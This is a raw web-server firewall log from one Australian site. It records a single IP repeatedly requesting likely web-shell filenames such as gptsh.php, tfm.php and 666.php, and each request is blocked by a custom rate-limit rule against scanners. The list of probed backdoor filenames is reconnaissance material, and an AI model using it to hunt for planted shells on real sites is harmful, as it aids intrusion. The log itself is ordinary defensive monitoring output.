[Fri Apr 24 16:44:44.829255 2026] [:error] [pid 17808:tid 17827] [client 74.248.96.105:32076] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gptsh.php"] [unique_id "aestfOarbOEFI8qshvLX-wAAAFE"]
[Fri Apr 24 16:44:58.187357 2026] [:error] [pid 14531:tid 14540] [client 74.248.96.105:27344] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aestinfLU2gw-6KR-GZ-MgAAAUc"]
[Fri Apr 24 16:45:00.913158 2026] [:error] [pid 17720:tid 17761] [client 74.248.96.105:59410] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aestjOhlUs6BS3Ng7_UvxgAAAMc"]
[Fri Apr 24 16:45:07.373497 2026] [:error] [pid 17808:tid 17825] [client 74.248.96.105:22327] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aestk-arbOEFI8qshvLYDgAAAE8"]
[Fri Apr 24 16:45:15.692435 2026] [:error] [pid 17720:tid 17764] [client 74.248.96.105:40716] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aestm-hlUs6BS3Ng7_Uv3QAAAMo"]
[Fri Apr 24 16:46:54.600052 2026] [:error] [pid 17719:tid 17747] [client 74.248.96.105:56422] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aest_sTZ9gzEyL1BkPp2SAAAAJQ"]
[Fri Apr 24 16:46:59.598575 2026] [:error] [pid 17808:tid 17829] [client 74.248.96.105:60743] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aesuA-arbOEFI8qshvLZDQAAAFM"]
[Fri Apr 24 16:47:04.127455 2026] [:error] [pid 17720:tid 17768] [client 74.248.96.105:34815] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aesuCOhlUs6BS3Ng7_UxBQAAAM4"]
[Fri Apr 24 16:47:08.306969 2026] [:error] [pid 17808:tid 17810] [client 74.248.96.105:34056] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aesuDOarbOEFI8qshvLZIQAAAEA"]
[Fri Apr 24 16:47:14.624433 2026] [:error] [pid 17721:tid 17789] [client 74.248.96.105:30516] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aesuEuFXXkLeyDnfk___8QAAAAg"]
[Fri Apr 24 16:47:19.468630 2026] [:error] [pid 17719:tid 17740] [client 74.248.96.105:21859] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa.php7"] [unique_id "aesuF8TZ9gzEyL1BkPp2ZwAAAI0"]
[Fri Apr 24 16:47:23.853684 2026] [:error] [pid 17808:tid 17831] [client 74.248.96.105:34108] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aesuG-arbOEFI8qshvLZUAAAAFU"]
[Fri Apr 24 16:47:25.480191 2026] [:error] [pid 22114:tid 22127] [client 74.248.96.105:3267] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aesuHYAuWGz3WlMQjofBsgAAAQo"]
[Fri Apr 24 16:47:28.540092 2026] [:error] [pid 17808:tid 17812] [client 74.248.96.105:34107] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aesuIOarbOEFI8qshvLZVgAAAEI"]
[Fri Apr 24 16:47:31.204026 2026] [:error] [pid 14531:tid 14542] [client 74.248.96.105:38693] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a7.php"] [unique_id "aesuI3fLU2gw-6KR-GZ--gAAAUk"]
[Fri Apr 24 16:47:41.445397 2026] [:error] [pid 17808:tid 17813] [client 74.248.96.105:54510] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "aesuLearbOEFI8qshvLZbQAAAEM"]
[Fri Apr 24 16:47:58.452015 2026] [:error] [pid 17808:tid 17810] [client 74.248.96.105:50346] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aesuPuarbOEFI8qshvLZgwAAAEA"]
[Fri Apr 24 16:48:05.517661 2026] [:error] [pid 17720:tid 17767] [client 74.248.96.105:50938] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bthil.php"] [unique_id "aesuRehlUs6BS3Ng7_Ux3QAAAM0"]
[Fri Apr 24 16:48:11.776550 2026] [:error] [pid 17808:tid 17816] [client 74.248.96.105:46590] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp5.php"] [unique_id "aesuS-arbOEFI8qshvLZoAAAAEY"]
[Fri Apr 24 16:48:34.708046 2026] [:error] [pid 17720:tid 17765] [client 74.248.96.105:50631] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aesuYuhlUs6BS3Ng7_Ux-AAAAMs"]
[Fri Apr 24 16:48:38.709368 2026] [:error] [pid 17720:tid 17773] [client 74.248.96.105:31548] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aesuZuhlUs6BS3Ng7_UyEgAAANM"]
[Fri Apr 24 16:48:40.492190 2026] [:error] [pid 17719:tid 17736] [client 74.248.96.105:55886] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yuzuru1.php"] [unique_id "aesuaMTZ9gzEyL1BkPp2rAAAAIk"]
[Fri Apr 24 16:48:44.746744 2026] [:error] [pid 17720:tid 17756] [client 74.248.96.105:47660] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aesubOhlUs6BS3Ng7_UyNAAAAMI"]
[Fri Apr 24 16:48:49.884348 2026] [:error] [pid 17808:tid 17831] [client 74.248.96.105:58971] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file61.php"] [unique_id "aesucearbOEFI8qshvLZ1gAAAFU"]
[Fri Apr 24 16:48:57.632409 2026] [:error] [pid 17720:tid 17767] [client 74.248.96.105:62025] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aesueehlUs6BS3Ng7_UyagAAAM0"]
[Fri Apr 24 16:49:00.610496 2026] [:error] [pid 17720:tid 17773] [client 74.248.96.105:42546] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aesufOhlUs6BS3Ng7_UyhAAAANM"]
[Fri Apr 24 16:49:07.999127 2026] [:error] [pid 14531:tid 14533] [client 74.248.96.105:57137] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Cap.php"] [unique_id "aesug3fLU2gw-6KR-GZ_0QAAAUA"]
[Fri Apr 24 16:49:14.907952 2026] [:error] [pid 17808:tid 17829] [client 74.248.96.105:35608] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aesuiuarbOEFI8qshvLaJAAAAFM"]
[Fri Apr 24 16:49:24.819214 2026] [:error] [pid 14531:tid 14545] [client 74.248.96.105:23348] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tfm.php"] [unique_id "aesulHfLU2gw-6KR-GaABAAAAUw"]
[Fri Apr 24 16:49:38.002630 2026] [:error] [pid 17720:tid 17760] [client 74.248.96.105:29525] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aesuouhlUs6BS3Ng7_Uy7AAAAMY"]
[Fri Apr 24 16:49:44.290620 2026] [:error] [pid 17719:tid 17727] [client 74.248.96.105:27309] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xper1.php"] [unique_id "aesuqMTZ9gzEyL1BkPp3EAAAAIA"]
[Fri Apr 24 16:50:02.412889 2026] [:error] [pid 17720:tid 17771] [client 74.248.96.105:39735] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aesuuuhlUs6BS3Ng7_UzSgAAANE"]
[Fri Apr 24 16:50:06.212720 2026] [:error] [pid 17808:tid 17820] [client 74.248.96.105:56773] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aesuvuarbOEFI8qshvLauAAAAEo"]
[Fri Apr 24 16:50:10.129133 2026] [:error] [pid 17720:tid 17756] [client 74.248.96.105:35133] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "aesuwuhlUs6BS3Ng7_UzZwAAAMI"]
[Fri Apr 24 16:50:33.504637 2026] [:error] [pid 17721:tid 17783] [client 74.248.96.105:62646] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aesu2eFXXkLeyDnfk_8BKAAAAAI"]
[Fri Apr 24 16:50:37.964277 2026] [:error] [pid 14531:tid 14550] [client 74.248.96.105:62634] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aesu3XfLU2gw-6KR-GaApwAAAVE"]
[Fri Apr 24 16:50:40.642921 2026] [:error] [pid 14531:tid 14553] [client 74.248.96.105:62618] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aesu4HfLU2gw-6KR-GaAqwAAAVQ"]
[Fri Apr 24 16:50:46.629518 2026] [:error] [pid 14531:tid 14543] [client 74.248.96.105:62244] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/acc.php"] [unique_id "aesu5nfLU2gw-6KR-GaAxwAAAUo"]
[Fri Apr 24 16:50:57.025931 2026] [:error] [pid 14531:tid 14540] [client 74.248.96.105:46002] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aesu8XfLU2gw-6KR-GaA7wAAAUc"]
[Fri Apr 24 16:50:58.524314 2026] [:error] [pid 17720:tid 17776] [client 74.248.96.105:33434] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asasx.php"] [unique_id "aesu8uhlUs6BS3Ng7_U0CgAAANY"]
[Fri Apr 24 16:51:18.764442 2026] [:error] [pid 14531:tid 14545] [client 74.248.96.105:27823] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xltt.php"] [unique_id "aesvBnfLU2gw-6KR-GaBDQAAAUw"]
[Fri Apr 24 16:51:24.189099 2026] [:error] [pid 17721:tid 17792] [client 74.248.96.105:45956] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aesvDOFXXkLeyDnfk_8BZAAAAAs"]
[Fri Apr 24 16:51:27.057803 2026] [:error] [pid 17720:tid 17764] [client 74.248.96.105:58290] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aesvD-hlUs6BS3Ng7_U0eAAAAMo"]
[Fri Apr 24 16:51:29.560922 2026] [:error] [pid 17808:tid 17828] [client 74.248.96.105:3613] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aesvEearbOEFI8qshvLbfAAAAFI"]
[Fri Apr 24 16:51:33.287169 2026] [:error] [pid 17720:tid 17761] [client 74.248.96.105:27818] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/packsin1.php"] [unique_id "aesvFehlUs6BS3Ng7_U0owAAAMc"]
[Fri Apr 24 16:51:37.315474 2026] [:error] [pid 17719:tid 17736] [client 74.248.96.105:57908] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aesvGcTZ9gzEyL1BkPp3yQAAAIk"]
[Fri Apr 24 16:51:41.595465 2026] [:error] [pid 17720:tid 17765] [client 74.248.96.105:3642] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aesvHehlUs6BS3Ng7_U04AAAAMs"]
[Fri Apr 24 16:51:45.846882 2026] [:error] [pid 17720:tid 17776] [client 74.248.96.105:24046] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aesvIehlUs6BS3Ng7_U08gAAANY"]
[Fri Apr 24 16:51:48.274512 2026] [:error] [pid 17808:tid 17834] [client 74.248.96.105:24014] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/press.php"] [unique_id "aesvJOarbOEFI8qshvLbuwAAAFg"]
[Fri Apr 24 16:52:22.519322 2026] [:error] [pid 17808:tid 17833] [client 74.248.96.105:36155] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aesvRuarbOEFI8qshvLcVQAAAFc"]
[Fri Apr 24 16:52:26.956001 2026] [:error] [pid 14531:tid 14552] [client 74.248.96.105:57861] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aesvSnfLU2gw-6KR-GaBqgAAAVM"]
[Fri Apr 24 16:52:37.406579 2026] [:error] [pid 14531:tid 14555] [client 74.248.96.105:44302] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "aesvVXfLU2gw-6KR-GaBywAAAVY"]
[Fri Apr 24 16:52:43.841275 2026] [:error] [pid 14531:tid 14552] [client 74.248.96.105:3288] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aesvW3fLU2gw-6KR-GaB5QAAAVM"]
[Fri Apr 24 16:52:46.749616 2026] [:error] [pid 14531:tid 14557] [client 74.248.96.105:23331] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aesvXnfLU2gw-6KR-GaB9AAAAVg"]
[Fri Apr 24 16:52:52.192565 2026] [:error] [pid 14531:tid 14554] [client 74.248.96.105:43970] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aesvZHfLU2gw-6KR-GaCHAAAAVU"]
[Fri Apr 24 16:52:54.852898 2026] [:error] [pid 17808:tid 17834] [client 74.248.96.105:36159] [client 74.248.96.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "aesvZuarbOEFI8qshvLcqAAAAFg"]
